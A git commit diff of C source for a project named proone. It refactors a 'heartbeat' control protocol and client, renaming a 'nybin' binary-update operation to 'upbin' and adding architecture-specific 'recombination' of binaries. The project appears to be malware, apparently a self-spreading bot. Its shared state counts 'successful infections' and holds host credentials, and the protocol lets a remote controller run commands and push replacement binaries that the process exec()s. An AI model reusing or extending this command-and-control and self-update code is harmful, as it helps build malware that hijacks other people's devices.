-	}
-
 	if (!send_mh(&mh)) {
-		ret = 1;
 		goto END;
 	}
 	if (!recv_mh(&mh, &msgid)) {
-		ret = 1;
 		goto END;
 	}
 	switch (mh.op) {
 	case PRNE_HTBT_OP_HOST_INFO:
-		if (!recv_frame(&hi, (prne_htbt_dser_ft)prne_htbt_dser_host_info)) {
-			ret = 1;
+		if (!recv_frame(hi, (prne_htbt_dser_ft)prne_htbt_dser_host_info)) {
 			goto END;
 		}
-		start_yaml();
-		emit_preemble("hostinfo", "ok", NULL);
-		emit_hostinfo_frame(&hi);
+		*status = false;
 		break;
 	case PRNE_HTBT_OP_STATUS:
-		ret = 1;
-		if (recv_status(&st)) {
-			start_yaml();
-			emit_preemble("hostinfo", "status", NULL);
-			emit_status_frame(&st);
+		if (!recv_status(st)) {
+			goto END;
 		}
-		goto END;
+		*status = true;
+		break;
 	default:
 		raise_proto_err("invalid response op %"PRIx8"\n", mh.op);
-		ret = 1;
 		goto END;
 	}
+	ret = true;
 
 END:
 	prne_htbt_free_msg_head(&mh);
+	return ret;
+}
+
+static int cmdmain_hostinfo (void) {
+	int ret = 0;
+	bool status;
+	prne_htbt_host_info_t hi;
+	prne_htbt_status_t st;
+
+	prne_htbt_init_host_info(&hi);
+	prne_htbt_init_status(&st);
+
+	if (!do_connect()) {
+		ret = 1;
+		goto END;
+	}
+	if (!do_hostinfo(&hi, &st, &status)) {
+		ret = 1;
+		goto END;
+	}
+
+	if (status) {
+		start_yaml();
+		emit_preemble("hostinfo", "status", NULL);
+		emit_status_frame(&st);
+	}
+	else {
+		start_yaml();
+		emit_preemble("hostinfo", "ok", NULL);
+		emit_hostinfo_frame(&hi);
+	}
+	ret = 0;
+
+END:
 	prne_htbt_free_host_info(&hi);
 	prne_htbt_free_status(&st);
 	return ret;
@@ -1468,7 +1633,6 @@ static void emit_hover_opts (void) {
 
 static bool run_setup (const uint16_t msgid) {
 	bool ret = true;
-	int bin_fd = -1;
 	int f_ret;
 	struct stat fs;
 	void *f;
@@ -1483,7 +1647,7 @@ static bool run_setup (const uint16_t msgid) {
 	switch (prog_conf.cmd) {
 	case SC_RUNCMD: mh.op = PRNE_HTBT_OP_RUN_CMD; break;
 	case SC_RUNBIN: mh.op = PRNE_HTBT_OP_RUN_BIN; break;
-	case SC_NYBIN: mh.op = PRNE_HTBT_OP_NY_BIN; break;
+	case SC_UPBIN: mh.op = PRNE_HTBT_OP_UP_BIN; break;
 	default: abort();
 	}
 
@@ -1494,11 +1658,10 @@ static bool run_setup (const uint16_t msgid) {
 		fs.st_size = 0;
 		break;
 	case SC_RUNBIN:
-	case SC_NYBIN:
-		bin_fd = open(prog_conf.cmd_param.run.bin_path, O_RDONLY);
-		if (bin_fd < 0 || fstat(bin_fd, &fs) != 0) {
+	case SC_UPBIN:
+		if (fstat(prog_g.cmd_st.run.fd, &fs) != 0) {
 			ret = false;
-			perror(prog_conf.cmd_param.run.bin_path);
+			perror("fstat()");
 			goto END;
 		}
 		if (fs.st_size > PRNE_HTBT_BIN_LEN_MAX) {
@@ -1522,7 +1685,7 @@ static bool run_setup (const uint16_t msgid) {
 	while (fs.st_size > 0 || prog_g.cmd_st.run.ib.len > 0) {
 		if (fs.st_size > 0 && prog_g.cmd_st.run.ib.avail > 0) {
 			io_ret = read(
-				bin_fd,
+				prog_g.cmd_st.run.fd,
 				prog_g.cmd_st.run.ib.m + prog_g.cmd_st.run.ib.len,
 				prne_op_min((size_t)fs.st_size, prog_g.cmd_st.run.ib.avail));
 			if (io_ret == 0) {
@@ -1561,7 +1724,6 @@ static bool run_setup (const uint16_t msgid) {
 	}
 
 END:
-	prne_close(bin_fd);
 	prne_htbt_free_msg_head(&mh);
 	return ret;
 }
@@ -1765,6 +1927,16 @@ static bool run_recv_status (const uint16_t msgid) {
 	return prog_g.cmd_st.run.has_status;
 }
 
+static bool do_open_bin (void) {
+	prne_assert(prog_g.cmd_st.run.fd < 0);
+	prog_g.cmd_st.run.fd = open(prog_conf.cmd_param.run.bin_path, O_RDONLY);
+	if (prog_g.cmd_st.run.fd < 0) {
+		perror(prog_conf.cmd_param.run.bin_path);
+		return false;
+	}
+	return true;
+}
+
 static int cmdmain_run (void) {
 	uint16_t msgid;
 
@@ -1774,6 +1946,9 @@ static int cmdmain_run (void) {
 		if (!do_connect()) {
 			break;
 		}
+		if (prog_conf.cmd == SC_RUNBIN && !do_open_bin()) {
+			break;
+		}
 		if (!run_setup(msgid)) {
 			break;
 		}
@@ -1804,10 +1979,22 @@ static int cmdmain_run (void) {
 	return 1;
 }
 
-static void emit_nybin_opts (void) {
+static void emit_upbin_opts (void) {
 	emit_scalar(YAML_STR_TAG, PREEMBLE_OPT_TAG_NAME);
 
 	emit_mapping_start();
+	emit_scalar(YAML_STR_TAG, "bin_type");
+	if (prog_conf.cmd_param.run.bin_type == BT_NYBIN) {
+		emit_scalar(YAML_STR_TAG, "nybin");
+		emit_scalar(YAML_STR_TAG, "arch_host");
+		emit_scalar(YAML_STR_TAG, prne_arch_tostr(prog_g.cmd_st.run.arch_host));
+		emit_scalar(YAML_STR_TAG, "arch_rcb");
+		emit_scalar(YAML_STR_TAG, prne_arch_tostr(prog_g.cmd_st.run.arch_rcb));
+	}
+	else {
+		emit_scalar(YAML_STR_TAG, "exec");
+	}
+
 	emit_scalar(YAML_STR_TAG, "bin_size");
 	emit_scalar_fmt(
 		YAML_INT_TAG,
@@ -1822,17 +2009,228 @@ static void emit_nybin_opts (void) {
 	emit_mapping_end();
 }
 
-static int cmdmain_nybin (void) {
+static bool do_mktmpfile (void) {
+	static const char *FMT_STR = "/tmp/proone-htbtclient.%"PRIdMAX;
+	bool ret = false;
+	int f_ret;
+	char *tmpf = NULL;
+	const pid_t pid = getpid();
+
+	f_ret = snprintf(NULL, 0, FMT_STR, (intmax_t)pid);
+	if (f_ret < 0) {
+		perror("snprintf()");
+		goto END;
+	}
+	tmpf = prne_alloc_str((size_t)f_ret);
+	tmpf[0] = 0;
+	snprintf(tmpf, (size_t)f_ret + 1, FMT_STR, (intmax_t)pid);
+
+	prog_g.cmd_st.run.fd = open(tmpf, O_CREAT | O_RDWR | O_TRUNC | O_EXCL);
+	if (prog_g.cmd_st.run.fd < 0) {
+		goto END;
+	}
+	unlink(tmpf);
+	ret = true;
+
+END:
+	prne_free(tmpf);
+	return ret;
+}
+
+static bool upbin_do_rcb (void) {
+	bool ret = false;
+	prne_bin_archive_t ba;
+	prne_bin_rcb_ctx_t rcb;
+	const uint8_t *m_nybin = MAP_FAILED, *m_dv, *m_ba;
+	size_t dv_len, ba_len;
+	struct stat st;
+	int fd = -1, err;
+	prne_pack_rc_t prc;
+	ssize_t io_ret;
+
+	prne_init_bin_archive(&ba);
+	prne_init_bin_rcb_ctx(&rcb);
+
+	fd = open(prog_conf.cmd_param.run.bin_path, O_RDONLY);
+	if (fd < 0 || fstat(fd, &st) < 0) {
+		perror(prog_conf.cmd_param.run.bin_path);
+		goto END;
+	}
+	m_nybin = (const uint8_t*)mmap(
+		NULL,
+		st.st_size,
+		PROT_READ,
+		MAP_PRIVATE,
+		fd,
+		0);
+	if (m_nybin == MAP_FAILED) {
+		perror("mmap()");
+		goto END;
+	}
+
+	if (!prne_index_nybin(
+		m_nybin,
+		st.st_size,
+		&m_dv,
+		&dv_len,
+		&m_ba,
+		&ba_len))
+	{
+		perror("prne_index_nybin");
+		goto END;
+	}
+	prc = prne_index_bin_archive(m_ba, ba_len, &ba);
+	if (prc != PRNE_PACK_RC_OK) {
+		pprc(prc, "prne_index_bin_archive()", NULL);
+		goto END;
+	}
+	prc = prne_start_bin_rcb_compat(
+		&rcb,
+		prog_g.cmd_st.run.arch_host,
+		PRNE_ARCH_NONE,
+		NULL,
+		0,
+		0,
+		m_dv,
+		dv_len,
+		&ba,
+		&prog_g.cmd_st.run.arch_rcb);
+	if (prc != PRNE_PACK_RC_OK) {
+		pprc(prc, "prne_start_bin_rcb()", NULL);
+		goto END;
+	}
+	if (prog_g.cmd_st.run.arch_host != prog_g.cmd_st.run.arch_rcb) {
+		if (!prog_conf.cmd_param.run.compat) {
+			fprintf(
+				stderr,
+				"Compatible arch %s for target %s: not allowed\n",
+				prne_arch_tostr(prog_g.cmd_st.run.arch_rcb),
+				prne_arch_tostr(prog_g.cmd_st.run.arch_host));
+			goto END;
+		}
+		if (prog_conf.prne_vl >= PRNE_VL_WARN) {
+			fprintf(
+				stderr,
+				"Using compatible arch %s for target %s.\n",
+				prne_arch_tostr(prog_g.cmd_st.run.arch_rcb),
+				prne_arch_tostr(prog_g.cmd_st.run.arch_host));
+		}
+	}
+
+	if (!do_mktmpfile()) {
+		goto END;
+	}
+
+	prne_iobuf_reset(&prog_g.cmd_st.run.ib);
+	while (true) {
+		if (prog_g.cmd_st.run.ib.avail > 0 && prc != PRNE_PACK_RC_EOF) {
+			io_ret = prne_bin_rcb_read(
+				&rcb,
+				prog_g.cmd_st.run.ib.m + prog_g.cmd_st.run.ib.len,
+				prog_g.cmd_st.run.ib.avail,
+				&prc,
+				&err);
+			if (io_ret < 0) {
+				pprc(prc, "prne_bin_rcb_read()", &err);
+				goto END;
+			}
+			prne_iobuf_shift(&prog_g.cmd_st.run.ib, io_ret);
+		}
+
+		if (prog_g.cmd_st.run.ib.len > 0) {
+			io_ret = write(
+				prog_g.cmd_st.run.fd,
+				prog_g.cmd_st.run.ib.m,
+				prog_g.cmd_st.run.ib.len);
+			if (io_ret < 0) {
+				perror("write()");
+				goto END;
+			}
+			if (io_ret == 0) {
+				abort();
+			}
+
+			prne_iobuf_shift(&prog_g.cmd_st.run.ib, -io_ret);
+		}
+		else if (prc == PRNE_PACK_RC_EOF) {
+			break;
+		}
+	}
+
+	if (lseek(prog_g.cmd_st.run.fd, 0, SEEK_SET) < 0) {
+		perror("lseek()");
+		goto END;
+	}
+	ret = true;
+
+END:
+	prne_close(fd);
+	prne_free_bin_archive(&ba);
+	prne_free_bin_rcb_ctx(&rcb);
+	if (m_nybin != MAP_FAILED) {
+		munmap((void*)m_nybin, st.st_size);
+	}
+	return ret;
+}
+
+static bool query_arch (void) {
+	bool ret = false, status;
+	prne_htbt_host_info_t hi;
+
+	prne_htbt_init_host_info(&hi);
+
+	if (!do_hostinfo(&hi, &prog_g.cmd_st.run.st, &status)) {
+		goto END;
+	}
+	if (status) {
+		prog_g.cmd_st.run.has_status = true;
+		pstatus(&prog_g.cmd_st.run.st, "Querying hostinfo");
+		goto END;
+	}
+	if (!prne_arch_inrange(hi.arch)) {
+		fprintf(stderr, "Arch out of range: %d\n", hi.arch);
+		goto END;
+	}
+	prog_g.cmd_st.run.arch_host = hi.arch;
+	ret = true;
+
+END:
+	prne_htbt_free_host_info(&hi);
+	return ret;
+}
+
+static int cmdmain_upbin (void) {
 	uint16_t msgid;
 
 	msgid = prne_htbt_gen_msgid(NULL, htbt_msgid_rnd_f);
 
-	if (!(do_connect() && run_setup(msgid) && run_recv_status(msgid))) {
+	if (!do_connect()) {
+		return 1;
+	}
+	switch (prog_conf.cmd_param.run.bin_type) {
+	case BT_NYBIN:
+		if (!query_arch() || !upbin_do_rcb()) {
+			return 1;
+		}
+		break;
+	case BT_EXEC: do_open_bin(); break;
+	default: abort();
+	}
+	if (!do_ayt()) {
+		if (prog_conf.prne_vl >= PRNE_VL_WARN) {
+			fprintf(stderr, "Reconnecting ...\n");
+		}
+		do_disconnect();
+		if (!do_connect()) {
+			return 1;
+		}
+	}
+	if (!(run_setup(msgid) && run_recv_status(msgid))) {
 		return 1;
 	}
 
 	start_yaml();
-	emit_preemble("nybin", "ok", emit_nybin_opts);
+	emit_preemble("upbin", "ok", emit_upbin_opts);
 	emit_status_frame(&prog_g.cmd_st.run.st);
 
 	return 0;
@@ -1920,10 +2318,8 @@ int main (const int argc, char *const *args) {
 	case SC_HOSTINFO: ec = cmdmain_hostinfo(); break;
 	case SC_HOVER: ec = cmdmain_hover(); break;
 	case SC_RUNCMD:
-	case SC_RUNBIN:
-		ec = cmdmain_run();
-		break;
-	case SC_NYBIN: ec = cmdmain_nybin(); break;
+	case SC_RUNBIN: ec = cmdmain_run(); break;
+	case SC_UPBIN: ec = cmdmain_upbin(); break;
 	// TODO
 	default:
 		ec = 1;
diff --git a/src/proone-htbthost.c b/src/proone-htbthost.c
index 9134e6e..fdf7c1e 100644
--- a/src/proone-htbthost.c
+++ b/src/proone-htbthost.c
@@ -43,9 +43,9 @@ typedef struct {
 
 static htbthost_param_t htbthost_param;
 static regex_t re_ns4, re_ns6, re_hc;
-static char m_nybin_path[256];
-static char m_nybin_args[1024];
-static size_t m_nybin_args_size;
+static char m_upbin_path[256];
+static char m_upbin_args[1024];
+static size_t m_upbin_args_size;
 static sigset_t ss_all, ss_exit;
 static struct timespec proc_start;
 static uint8_t instance_id[16];
@@ -114,7 +114,7 @@ static bool cb_hostinfo (void *ctx, prne_htbt_host_info_t *out) {
 	return true;
 }
 
-static bool cb_ny_bin (
+static bool cb_upbin (
 	void *ctx,
 	const char *path,
 	const prne_htbt_cmd_t *cmd)
@@ -122,16 +122,16 @@ static bool cb_ny_bin (
 	const size_t path_len = prne_nstrlen(path);
 
 	prne_dbgast(path_len > 0);
-	if (path_len + 1 > sizeof(m_nybin_path) ||
-		cmd->mem_len > sizeof(m_nybin_args))
+	if (path_len + 1 > sizeof(m_upbin_path) ||
+		cmd->mem_len > sizeof(m_upbin_args))
 	{
 		errno = ENOMEM;
 		return false;
 	}
 
-	memcpy(m_nybin_path, path, path_len + 1);
-	memcpy(m_nybin_args, cmd->mem, cmd->mem_len);
-	m_nybin_args_size = cmd->mem_len;
+	memcpy(m_upbin_path, path, path_len + 1);
+	memcpy(m_upbin_args, cmd->mem, cmd->mem_len);
+	m_upbin_args_size = cmd->mem_len;
 
 	return pth_raise(main_pth, SIGTERM) != 0;
 }
@@ -332,18 +332,18 @@ END:
 	return ret;
 }
 
-static void do_run_ny_bin (void) {
-	for (size_t i = 0; i < m_nybin_args_size; i += 1) {
-		if (m_nybin_args[i] == 0) {
-			m_nybin_args[i] = ' ';
+static void do_run_upbin (void) {
+	for (size_t i = 0; i < m_upbin_args_size; i += 1) {
+		if (m_upbin_args[i] == 0) {
+			m_upbin_args[i] = ' ';
 		}
 	}
-	m_nybin_args[m_nybin_args_size - 1] = 0;
+	m_upbin_args[m_upbin_args_size - 1] = 0;
 
 	printf(
-		"ny bin received:\n%s %s\n",
-		m_nybin_path,
-		m_nybin_args);
+		"upbin received:\n%s %s\n",
+		m_upbin_path,
+		m_upbin_args);
 }
 
 
@@ -495,7 +495,7 @@ int main (const int argc, const char **args) {
 		param.cb_f.cnc_txtrec = cb_txtrec;
 		param.cb_f.hostinfo = cb_hostinfo;
 		param.cb_f.tmpfile = mktmpfile;
-		param.cb_f.ny_bin = cb_ny_bin;
+		param.cb_f.upbin = cb_upbin;
 		param.blackhole = open("/dev/null", O_WRONLY);
 
 		w = wkr_arr + 1;
@@ -542,8 +542,8 @@ int main (const int argc, const char **args) {
 	regfree(&re_ns6);
 	prne_free(hostcred);
 
-	if (prne_nstrlen(m_nybin_path) > 0) {
-		do_run_ny_bin();
+	if (prne_nstrlen(m_upbin_path) > 0) {
+		do_run_upbin();
 		return 3;
 	}
 
diff --git a/src/proone-test_proto.c b/src/proone-test_proto.c
index e8c0ef8..c3f9934 100644
--- a/src/proone-test_proto.c
+++ b/src/proone-test_proto.c
@@ -2,6 +2,7 @@
 #include "util_rt.h"
 #include "config.h"
 #include "dvault.h"
+#include "pack.h"
 
 #include <string.h>
 #include <assert.h>
@@ -17,11 +18,6 @@ static void test_enum (void);
 
 
 int main (void) {
-	// prne_arch_t string functions
-	for (prne_arch_t i = PRNE_ARCH_NONE + 1; i < NB_PRNE_ARCH; i += 1) {
-		assert(i == prne_arch_fstr(prne_arch_tostr(i)));
-	}
-
 	test_ser();
 	test_enum();
 
@@ -545,6 +541,10 @@ static void test_ser (void) {
 }
 
 static void test_enum (void) {
+	for (prne_arch_t i = PRNE_ARCH_NONE + 1; i < NB_PRNE_ARCH; i += 1) {
+		assert(i == prne_arch_fstr(prne_arch_tostr(i)));
+	}
+
 	for (prne_arch_t i = 0; i < NB_PRNE_ARCH; i += 1) {
 		assert(prne_arch_tostr(i) != NULL);
 	}
@@ -554,4 +554,7 @@ static void test_enum (void) {
 	for (prne_htbt_op_t i = 0; i < NB_PRNE_HTBT_OP; i += 1) {
 		assert(prne_htbt_op_tostr(i) != NULL);
 	}
+	for (prne_pack_rc_t i = PRNE_PACK_RC_OK; i < NB_PRNE_PACK_RC; i += 1) {
+		assert(prne_pack_rc_tostr(i) != NULL);
+	}
 }
diff --git a/src/proone.c b/src/proone.c
index 6eacc33..5fcd706 100644
--- a/src/proone.c
+++ b/src/proone.c
@@ -184,7 +184,7 @@ static char *cb_htbt_tmpfile (void *ctx, size_t req_size, const mode_t mode) {
 	return ret;
 }
 
-static bool cb_htbt_nybin (
+static bool cb_htbt_upbin (
 	void *ctx,
 	const char *path,
 	const prne_htbt_cmd_t *cmd)
@@ -192,14 +192,15 @@ static bool cb_htbt_nybin (
 	const size_t strsize = prne_nstrlen(path) + 1;
 
 	if (prne_s_g == NULL ||
-		strsize > sizeof(prne_s_g->ny_bin_path) ||
-		cmd->mem_len > sizeof(prne_s_g->ny_bin_args))
+		strsize > sizeof(prne_s_g->upbin_path) ||
+		cmd->mem_len > sizeof(prne_s_g->upbin_args))
 	{
 		errno = ENOMEM;
 		return false;
 	}
-	memcpy(prne_s_g->ny_bin_path, path, strsize);
-	memcpy(prne_s_g->ny_bin_args, cmd->mem, cmd->mem_len);
+	memcpy(prne_s_g->upbin_path, path, strsize);
+	prne_memzero(prne_s_g->upbin_args, sizeof(prne_s_g->upbin_args));
+	memcpy(prne_s_g->upbin_args, cmd->mem, cmd->mem_len);
 
 	pth_raise(prne_g.main_pth, SIGTERM);
 
@@ -224,7 +225,7 @@ static void alloc_htbt (void) {
 	param.cb_f.cnc_txtrec = cb_htbt_cnc_txtrec;
 	param.cb_f.hostinfo = cb_htbt_hostinfo;
 	param.cb_f.tmpfile = cb_htbt_tmpfile;
-	param.cb_f.ny_bin = cb_htbt_nybin;
+	param.cb_f.upbin = cb_htbt_upbin;
 	param.blackhole = prne_g.blackhole[1];
 
 	htbt = prne_alloc_htbt(
@@ -1023,7 +1024,7 @@ static bool init_shared_global (void) {
 
 	/*
 	* 1. Try creating shm, which is the most favourable
-	* 2. Try creating a file in /tmp, which is memory backed on most env
+	* 2. Try creating a file in /tmp, which is memory backed on most systems
 	* 3. Try creating a file in current wd
 	*
 	* ... just don't use shared memory if all of these fail
@@ -1075,7 +1076,8 @@ static bool init_shared_global (void) {
 	}
 	else {
 		// Session init code goes here
-		prne_s_g->ny_bin_path[0] = 0;
+		prne_memzero(prne_s_g->upbin_path, sizeof(prne_s_g->upbin_path));
+		prne_memzero(prne_s_g->upbin_args, sizeof(prne_s_g->upbin_args));
 	}
 
 END:
@@ -1134,86 +1136,6 @@ static void set_host_credential (const char *str) {
 		strlen(str));
 }
 
-static char *do_recombination (const uint8_t *m_nybin, const size_t nybin_len) {
-	uint8_t buf[4096];
-	char *exec = NULL, *ret = NULL;
-	const char *path;
-	prne_bin_archive_t ba;
-	prne_bin_rcb_ctx_t rcb;
-	const uint8_t *m_dv, *m_ba;
-	size_t dv_len, ba_len;
-	prne_pack_rc_t prc;
-	int fd = -1;
-	ssize_t f_ret;
-	size_t path_len;
-
-	prne_init_bin_archive(&ba);
-	prne_init_bin_rcb_ctx(&rcb);
-
-	if (!prne_index_nybin(m_nybin, nybin_len, &m_dv, &dv_len, &m_ba, &ba_len)) {
-		goto END;
-	}
-
-	prc = prne_index_bin_archive(m_ba, ba_len, &ba);
-	if (prc != PRNE_PACK_RC_OK) {
-		goto END;
-	}
-	prc = prne_start_bin_rcb(
-		&rcb,
-		prne_host_arch,
-		PRNE_ARCH_NONE,
-		NULL,
-		0,
-		0,
-		m_dv,
-		dv_len,
-		&ba);
-	if (prc != PRNE_PACK_RC_OK) {
-		goto END;
-	}
-
-	path = prne_dvault_get_cstr(PRNE_DATA_KEY_EXEC_NAME, &path_len);
-	exec = prne_alloc_str(path_len);
-	if (exec == NULL) {
-		goto END;
-	}
-	strcpy(exec, path);
-	prne_dvault_reset();
-	fd = open(
-		exec,
-		O_WRONLY | O_CREAT | O_TRUNC,
-		0700);
-	if (fd < 0) {
-		goto END;
-	}
-	chmod(exec, 0700);
-
-	do {
-		f_ret = prne_bin_rcb_read(&rcb, buf, sizeof(buf), &prc, NULL);
-		if (f_ret < 0) {
-			goto END;
-		}
-		if (f_ret > 0 && write(fd, buf, f_ret) != f_ret) {
-			goto END;
-		}
-	} while (prc != PRNE_PACK_RC_EOF);
-
-	ret = exec;
-	exec = NULL;
-
-END:
-	prne_dvault_reset();
-	if (exec != NULL && fd > 0) {
-		unlink(exec);
-	}
-	prne_free(exec);
-	prne_free_bin_archive(&ba);
-	prne_free_bin_rcb_ctx(&rcb);
-	prne_close(fd);
-
-	return ret;
-}
-
 static void do_exec (const char *exec, char **args) {
 	sigset_t ss, old_ss;
 	bool has_ss;
@@ -1236,48 +1158,22 @@ static void do_exec (const char *exec, char **args) {
 	init_shared_global();
 }
 
-static void run_ny_bin (void) {
-	const uint8_t *m_nybin = NULL;
-	size_t nybin_len = 0;
-	off_t ofs;
-	int fd = -1;
+static void run_upbin (void) {
 	char **args = NULL;
 	char *add_args[1] = { NULL };
+	char *m_args = NULL;
 
-	fd = open(prne_s_g->ny_bin_path, O_RDONLY);
-	unlink(prne_s_g->ny_bin_path);
-	prne_s_g->ny_bin_path[0] = 0;
-	if (fd < 0) {
-		goto END;
-	}
-	ofs = lseek(fd, 0, SEEK_END);
-	if (ofs < 0) {
+	// copy data from shared global as it will be unmapped before exec() call.
+	add_args[0] = prne_dup_str(prne_s_g->upbin_path);
+	m_args = prne_malloc(1, sizeof(prne_s_g->upbin_args));
+	if (add_args[0] == NULL || m_args == NULL) {
 		goto END;
 	}
-	nybin_len = (size_t)ofs;
+	memcpy(m_args, prne_s_g->upbin_args, sizeof(prne_s_g->upbin_args));
 
-	m_nybin = (const uint8_t*)mmap(
-		NULL,
-		nybin_len,
-		PROT_READ,
-		MAP_SHARED,
-		fd,
-		0);
-	close(fd);
-	fd = -1;
-	if (m_nybin == MAP_FAILED) {
-		m_nybin = NULL;
-		goto END;
-	}
-	add_args[0] = do_recombination(m_nybin, nybin_len);
-	if (add_args[0] == NULL) {
-		goto END;
-	}
-
-	add_args[0] = add_args[0];
 	args = prne_htbt_parse_args(
-		prne_s_g->ny_bin_args,
-		sizeof(prne_s_g->ny_bin_args),
+		m_args,
+		sizeof(prne_s_g->upbin_args),
 		1,
 		add_args,
 		NULL,
@@ -1285,17 +1181,12 @@ static void run_ny_bin (void) {
 	if (args == NULL) {
 		goto END;
 	}
+
 	do_exec(args[0], args);
 
 END:
-	prne_close(fd);
-	if (m_nybin != NULL) {
-		munmap((void*)m_nybin, nybin_len);
-	}
-	if (add_args[0] != NULL) {
-		unlink(add_args[0]);
-		prne_free(add_args[0]);
-	}
+	prne_free(add_args[0]);
+	prne_free(m_args);
 	prne_free(args);
 }
 
@@ -1368,6 +1259,10 @@ static void deinit_bne (void) {
 	prne_free_bne_param(&bne_param);
 }
 
+static bool has_upbin (void) {
+	return prne_s_g != NULL && strlen(prne_s_g->upbin_path) > 0;
+}
+
 
 int main (const int argc, const char **args) {
 	static int exit_code;
@@ -1451,7 +1346,6 @@ int main (const int argc, const char **args) {
 			static int status, caught_signal;
 			static pid_t f_ret;
 			static sigset_t ss;
-			static bool has_ny_bin;
 
 			prne_dbgpf("* Child: %d\n", prne_g.child_pid);
 
@@ -1477,8 +1371,6 @@ WAIT_LOOP:
 			}
 
 			if (prne_s_g != NULL) {
-				has_ny_bin = strlen(prne_s_g->ny_bin_path) > 0;
-
 				if (!(WIFEXITED(status) && WEXITSTATUS(status) == 0)) {
 					prne_s_g->crash_cnt += 1;
 				}
@@ -1490,12 +1382,13 @@ WAIT_LOOP:
 					prne_g.child_pid,
 					WEXITSTATUS(status));
 				if (WEXITSTATUS(status) == 0) {
-					if (has_ny_bin) {
+					if (has_upbin()) {
 						prne_dbgpf(
-							"* Detected new bin. "
-							"Attempting to exec()\n");
-						run_ny_bin();
-						// run_ny_bin() returns if fails
+							"* Detected new bin: %s\n"
+							"Attempting to exec()\n",
+							prne_s_g->upbin_path);
+						run_upbin();
+						// run_upbin() returns if fails
 					}
 					else {
 						break;
@@ -1509,9 +1402,9 @@ WAIT_LOOP:
 					WTERMSIG(status));
 			}
 
-			if (has_ny_bin) {
-				unlink(prne_s_g->ny_bin_path);
-				prne_s_g->ny_bin_path[0] = 0;
+			if (has_upbin()) {
+				unlink(prne_s_g->upbin_path);
+				prne_s_g->upbin_path[0] = 0;
 			}
 
 			sleep(1);
diff --git a/src/proone.h b/src/proone.h
index 073996b..5b73185 100644
--- a/src/proone.h
+++ b/src/proone.h
@@ -71,8 +71,8 @@ struct prne_shared_global {
 	// Number of successful infections.
 	uint64_t infect_cnt;
 	// null-terminated path to the new binary image
-	char ny_bin_path[256];
-	char ny_bin_args[1024];
+	char upbin_path[256];
+	char upbin_args[1024];
 	size_t host_cred_len;
 	uint8_t host_cred_data[255];
 };
diff --git a/src/protocol.c b/src/protocol.c
index cc1fc0d..143e906 100644
--- a/src/protocol.c
+++ b/src/protocol.c
@@ -120,11 +120,10 @@ const char *prne_htbt_op_tostr (const prne_htbt_op_t x) {
 	case PRNE_HTBT_OP_HOVER: return "hover";
 	case PRNE_HTBT_OP_SOLICIT: return "solicit";
 	case PRNE_HTBT_OP_RUN_CMD: return "runcmd";
-	case PRNE_HTBT_OP_NY_BIN: return "nybin";
+	case PRNE_HTBT_OP_UP_BIN: return "upbin";
 	case PRNE_HTBT_OP_RUN_BIN: return "runbin";
 	case PRNE_HTBT_OP_STDIO: return "stdio";
-	case PRNE_HTBT_OP_GET_BIN: return "getbin";
-	case PRNE_HTBT_OP_BIN: return "bin";
+	case PRNE_HTBT_OP_RCB: return "rcb";
 	}
 	return NULL;
 }
diff --git a/src/protocol.h b/src/protocol.h
index 24f4fa3..4e12396 100644
--- a/src/protocol.h
+++ b/src/protocol.h
@@ -149,7 +149,7 @@ typedef enum {
 	* 	char args[args_len]
 	* 	uint8_t bin[bin_len]
 	*/
-	PRNE_HTBT_OP_NY_BIN,
+	PRNE_HTBT_OP_UP_BIN,
 	/* Run Binary Operation
 	* TODO
 	*
@@ -171,21 +171,14 @@ typedef enum {
 	*	uint12_t len
 	*/
 	PRNE_HTBT_OP_STDIO,
-	/* Binary Retrieval Operation
+	/* Binary Recombination Operation
 	* TODO
 	*
 	*	uint8_t arch
-	*	uint8_t rsv
+	*	uint1_t compat	: allow fallback to compatible arch
+	*	uint7_t rsv
 	*/
-	PRNE_HTBT_OP_GET_BIN,
-	/* Binary Frame
-	* TODO
-	*
-	*	uint1_t fin
-	*	uint3_t rsv
-	*	uint12_t len
-	*/
-	PRNE_HTBT_OP_BIN,
+	PRNE_HTBT_OP_RCB,
 
 	NB_PRNE_HTBT_OP
 } prne_htbt_op_t;
@@ -202,11 +195,7 @@ typedef enum {
 	* Followed by int32_t which represents the errno set during the operation.
 	*/
 	PRNE_HTBT_STATUS_ERRNO,
-	/* Operation temporary unavailable. Try again later.
-	* When another authority is holding the resource.
-	* An int32_t that follows is not used.
-	*/
-	PRNE_HTBT_STATUS_AGAIN,
+	PRNE_HTBT_STATUS_SUB,
 	PRNE_HTBT_STATUS_TIMEDOUT,
 	PRNE_HTBT_STATUS_LIMIT,
 
@@ -307,8 +296,8 @@ typedef prne_htbt_ser_rc_t(*prne_htbt_dser_ft)(
 
 /* PRNE_HTBT_PROTO_MIN_BUF
 *
-* Minimum size of buffer required to implement parsing of stream. Set to size
-* required to deserialise PRNE_HTBT_OP_NY_BIN and PRNE_HTBT_OP_RUN_BIN.
+* Minimum size of buffer required to implement parsing of stream. This is the
+* size required to deserialise PRNE_HTBT_OP_UP_BIN and PRNE_HTBT_OP_RUN_BIN.
 */
 #define PRNE_HTBT_PROTO_MIN_BUF ((size_t)3 + 5 + PRNE_HTBT_ARG_MEM_MAX)
 /* PRNE_HTBT_PROTO_SUB_MIN_BUF
-- 
cgit v1.2.3-70-g09d2